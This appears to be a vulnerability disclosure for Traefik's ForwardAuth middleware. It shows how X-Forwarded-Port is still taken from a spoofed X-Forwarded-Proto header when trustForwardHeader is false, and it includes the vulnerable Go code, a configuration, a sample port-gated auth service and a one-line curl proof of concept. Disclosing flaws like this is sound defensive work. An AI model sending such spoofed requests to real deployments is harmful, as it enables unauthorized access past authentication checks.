Summary

The ForwardAuth middleware, even when configured with trustForwardHeader: false,
still derives the X-Forwarded-Port header sent to the authentication service by
reading the attacker-controlled X-Forwarded-Proto header from the original
incoming request. This allows an unauthenticated remote attacker to cause Traefik
to forward X-Forwarded-Port: 443 to the auth service on a plain HTTP connection,
creating an inconsistency that can bypass port-based authorization checks.

Details

The fix introduced in commit 5e1de2258 (released as part of the April 2026 security
advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded-* headers from the
forwarded auth request when trustForwardHeader=false, and reconstructs
X-Forwarded-Proto from the actual TLS state of the connection (req.TLS).

However, the reconstruction of X-Forwarded-Port is delegated to the helper
forwardedPort(req) which receives the original request (req) rather than
the sanitized forward request (forwardReq):

// pkg/middlewares/auth/forward.go – writeHeader()
if !trustForwardHeader {
    forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd-* from forwardReq
}
// ...
if _, ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok {
    forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL
}

// pkg/middlewares/auth/forward.go – forwardedPort()
func forwardedPort(req *http.Request) string {
    if _, port, err := net.SplitHostPort(req.Host); err == nil && port != "" {
        return port
    }
    // Reads attacker-controlled header on the ORIGINAL request:
    if req.Header.Get(forwardedheaders.XForwardedProto) == "https" || ... {
        return "443"
    }
    if req.TLS != nil {
        return "443"
    }
    return "80"
}

Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https
on a plain HTTP connection:

┌──────────────────────────────────┬──────────┬────────┐
│ Header forwarded to auth service │ Expected │ Actual │
├──────────────────────────────────┼──────────┼────────┤
│ X-Forwarded-Proto                │ http     │ http ✓ │
├──────────────────────────────────┼──────────┼────────┤
│ X-Forwarded-Port                 │ 80       │ 443 ✗  │
└──────────────────────────────────┴──────────┴────────┘

The inconsistency between Proto=http and Port=443 is exploitable against any
authentication service that gates access based on X-Forwarded-Port.

PoC

Traefik configuration:

  middlewares:
    my-auth:
      forwardAuth:
        address: "http://auth-service/"
        trustForwardHeader: false  # security setting, but still bypassable
  routers:
    api:
      rule: "PathPrefix(`/api`)"
      middlewares:
        - my-auth
      service: backend

Auth service logic (example victim):
# auth-service checks: only port 443 requests are considered "secure"
port = request.headers.get("X-Forwarded-Port", "80")
proto = request.headers.get("X-Forwarded-Proto", "http")
if port == "443":
    return 200  # grant access
return 403

Attack:

Plain HTTP connection, no TLS – but spoofs port 443
curl -H "X-Forwarded-Proto: https" http://traefik.example.com/api/admin
Auth service receives X-Forwarded-Port: 443 → grants access

Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443
in the auth request while the connection is plain HTTP.

Impact

Any deployment using the ForwardAuth middleware with trustForwardHeader: false where
the downstream authentication service uses X-Forwarded-Port to make authorization
decisions is vulnerable to privilege escalation. An unauthenticated attacker can
bypass port-based security checks (e.g., "only allow requests arriving on HTTPS port
443") by injecting a single X-Forwarded-Proto: https header on a plain HTTP
connection.

This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54: while the
X-Forwarded-Prefix and X-Forwarded-Proto spoofing vectors were addressed, the
X-Forwarded-Port vector was missed.